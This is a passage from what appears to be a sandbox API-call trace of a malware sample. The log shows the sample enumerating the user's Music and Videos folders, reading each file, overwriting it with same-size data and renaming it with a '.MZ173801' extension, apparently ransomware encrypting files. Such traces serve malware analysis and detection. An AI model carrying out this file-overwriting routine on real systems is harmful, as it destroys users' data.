lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.851] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x16e4b [0123.851] SetFilePointer (in: hFile=0x28c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.851] ReadFile (in: hFile=0x28c, lpBuffer=0x714510, nNumberOfBytesToRead=0x16e4b, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x16e4b, lpOverlapped=0x0) returned 1 [0123.852] CloseHandle (hObject=0x28c) returned 1 [0123.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\_VP-6ETpnQ40FqCnwVHM.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\_vp-6etpnq40fqcnwvhm.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x28c [0123.855] WriteFile (in: hFile=0x28c, lpBuffer=0x72c540*, nNumberOfBytesToWrite=0x16e4b, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72c540*, lpNumberOfBytesWritten=0x18f6d0*=0x16e4b, lpOverlapped=0x0) returned 1 [0123.858] CloseHandle (hObject=0x28c) returned 1 [0123.860] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\_VP-6ETpnQ40FqCnwVHM.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\_vp-6etpnq40fqcnwvhm.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\J2iO\\_VP-6ETpnQ40FqCnwVHM.m4a.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\j2io\\_vp-6etpnq40fqcnwvhm.m4a.mz173801")) returned 1 [0123.861] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=14, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 1 [0123.862] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos")) returned 0x11 [0123.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb28, csidl=14, fCreate=0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned 1 [0123.862] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xda4706c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xda4706c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfcdde474, dwReserved1=0xa03bf443, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0123.865] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 1WCRQ4l39z0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6 1wcrq4l39z0.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.865] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.865] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.866] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x8b9a [0123.866] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.866] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x8b9a, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x8b9a, lpOverlapped=0x0) returned 1 [0123.867] CloseHandle (hObject=0x288) returned 1 [0123.867] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 1WCRQ4l39z0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6 1wcrq4l39z0.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.868] WriteFile (in: hFile=0x288, lpBuffer=0x71e540*, nNumberOfBytesToWrite=0x8b9a, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x71e540*, lpNumberOfBytesWritten=0x18f99c*=0x8b9a, lpOverlapped=0x0) returned 1 [0123.870] CloseHandle (hObject=0x288) returned 1 [0123.876] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 1WCRQ4l39z0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6 1wcrq4l39z0.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\6 1WCRQ4l39z0.flv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\6 1wcrq4l39z0.flv.mz173801")) returned 1 [0123.881] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fz2die47BzAke6UN0A.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fz2die47bzake6un0a.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.881] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.882] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.882] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x152a5 [0123.882] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.882] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x152a5, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x152a5, lpOverlapped=0x0) returned 1 [0123.883] CloseHandle (hObject=0x288) returned 1 [0123.885] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fz2die47BzAke6UN0A.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fz2die47bzake6un0a.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.886] WriteFile (in: hFile=0x288, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x152a5, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f99c*=0x152a5, lpOverlapped=0x0) returned 1 [0123.888] CloseHandle (hObject=0x288) returned 1 [0123.890] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fz2die47BzAke6UN0A.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fz2die47bzake6un0a.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\fz2die47BzAke6UN0A.avi.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\fz2die47bzake6un0a.avi.mz173801")) returned 1 [0123.898] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ga4zq0ZVx.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ga4zq0zvx.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.898] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.898] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.898] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x16532 [0123.898] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.898] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0x16532, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0x16532, lpOverlapped=0x0) returned 1 [0123.900] CloseHandle (hObject=0x288) returned 1 [0123.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ga4zq0ZVx.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ga4zq0zvx.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.903] WriteFile (in: hFile=0x288, lpBuffer=0x72c540*, nNumberOfBytesToWrite=0x16532, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x72c540*, lpNumberOfBytesWritten=0x18f99c*=0x16532, lpOverlapped=0x0) returned 1 [0123.905] CloseHandle (hObject=0x288) returned 1 [0123.906] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ga4zq0ZVx.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ga4zq0zvx.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ga4zq0ZVx.swf.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ga4zq0zvx.swf.mz173801")) returned 1 [0123.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JkIEQ_vITOIr7m.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jkieq_vitoir7m.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.910] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.910] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.910] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1993 [0123.910] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.910] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1993, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1993, lpOverlapped=0x0) returned 1 [0123.911] CloseHandle (hObject=0x288) returned 1 [0123.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JkIEQ_vITOIr7m.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jkieq_vitoir7m.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.913] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1993, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1993, lpOverlapped=0x0) returned 1 [0123.914] CloseHandle (hObject=0x288) returned 1 [0123.915] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JkIEQ_vITOIr7m.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jkieq_vitoir7m.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\JkIEQ_vITOIr7m.mp4.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\jkieq_vitoir7m.mp4.mz173801")) returned 1 [0123.918] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qAfaU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qafau.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.918] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.918] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.918] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xd77a [0123.918] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.919] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xd77a, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xd77a, lpOverlapped=0x0) returned 1 [0123.920] CloseHandle (hObject=0x288) returned 1 [0123.921] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qAfaU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qafau.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.922] WriteFile (in: hFile=0x288, lpBuffer=0x722540*, nNumberOfBytesToWrite=0xd77a, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x722540*, lpNumberOfBytesWritten=0x18f99c*=0xd77a, lpOverlapped=0x0) returned 1 [0123.924] CloseHandle (hObject=0x288) returned 1 [0123.926] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qAfaU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qafau.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qAfaU.flv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qafau.flv.mz173801")) returned 1 [0123.930] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rMyIOEW6k4wYJ1YGsx.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rmyioew6k4wyj1ygsx.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.930] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0123.931] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.931] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xf47a [0123.931] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0123.931] ReadFile (in: hFile=0x288, lpBuffer=0x714510, nNumberOfBytesToRead=0xf47a, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f990*=0xf47a, lpOverlapped=0x0) returned 1 [0123.932] CloseHandle (hObject=0x288) returned 1 [0123.934] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rMyIOEW6k4wYJ1YGsx.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rmyioew6k4wyj1ygsx.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0123.935] WriteFile (in: hFile=0x288, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xf47a, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f99c*=0xf47a, lpOverlapped=0x0) returned 1 [0123.938] CloseHandle (hObject=0x288) returned 1 [0123.941] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rMyIOEW6k4wYJ1YGsx.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rmyioew6k4wyj1ygsx.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rMyIOEW6k4wYJ1YGsx.mkv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rmyioew6k4wyj1ygsx.mkv.mz173801")) returned 1 [0123.946] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\2s62f08alWPRJnfyMl.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\2s62f08alwprjnfyml.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.946] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.946] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.946] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0xe859 [0123.947] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.947] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0xe859, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0xe859, lpOverlapped=0x0) returned 1 [0123.948] CloseHandle (hObject=0x290) returned 1 [0123.950] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\2s62f08alWPRJnfyMl.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\2s62f08alwprjnfyml.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.951] WriteFile (in: hFile=0x290, lpBuffer=0x724540*, nNumberOfBytesToWrite=0xe859, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x724540*, lpNumberOfBytesWritten=0x18f6d0*=0xe859, lpOverlapped=0x0) returned 1 [0123.953] CloseHandle (hObject=0x290) returned 1 [0123.966] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\2s62f08alWPRJnfyMl.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\2s62f08alwprjnfyml.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\2s62f08alWPRJnfyMl.flv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\2s62f08alwprjnfyml.flv.mz173801")) returned 1 [0123.971] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\8exljOS5Iy8En.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\8exljos5iy8en.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.971] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.971] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.971] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x18be6 [0123.971] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.971] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x18be6, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x18be6, lpOverlapped=0x0) returned 1 [0123.973] CloseHandle (hObject=0x290) returned 1 [0123.976] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\8exljOS5Iy8En.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\8exljos5iy8en.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.978] WriteFile (in: hFile=0x290, lpBuffer=0x72e540*, nNumberOfBytesToWrite=0x18be6, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x72e540*, lpNumberOfBytesWritten=0x18f6d0*=0x18be6, lpOverlapped=0x0) returned 1 [0123.980] CloseHandle (hObject=0x290) returned 1 [0123.982] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\8exljOS5Iy8En.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\8exljos5iy8en.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\8exljOS5Iy8En.mkv.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\8exljos5iy8en.mkv.mz173801")) returned 1 [0123.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\d3tdrORfPWVhLxPWU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\d3tdrorfpwvhlxpwu.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.986] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b8*=0) returned 0x0 [0123.986] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.986] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x83f1 [0123.987] SetFilePointer (in: hFile=0x290, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f6b0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f6b0*=0) returned 0x0 [0123.987] ReadFile (in: hFile=0x290, lpBuffer=0x714510, nNumberOfBytesToRead=0x83f1, lpNumberOfBytesRead=0x18f6c4, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f6c4*=0x83f1, lpOverlapped=0x0) returned 1 [0123.988] CloseHandle (hObject=0x290) returned 1 [0123.989] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\d3tdrORfPWVhLxPWU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\d3tdrorfpwvhlxpwu.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x290 [0123.990] WriteFile (in: hFile=0x290, lpBuffer=0x71e540*, nNumberOfBytesToWrite=0x83f1, lpNumberOfBytesWritten=0x18f6d0, lpOverlapped=0x0 | out: lpBuffer=0x71e540*, lpNumberOfBytesWritten=0x18f6d0*=0x83f1, lpOverlapped=0x0) returned 1 [0123.992] CloseHandle (hObject=0x290) returned 1 [0124.001] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\gYbE-viNm\\d3tdrORfPWVhLxPWU.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\gybe-vinm\\d3tdrorfpwvhlxpwu.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 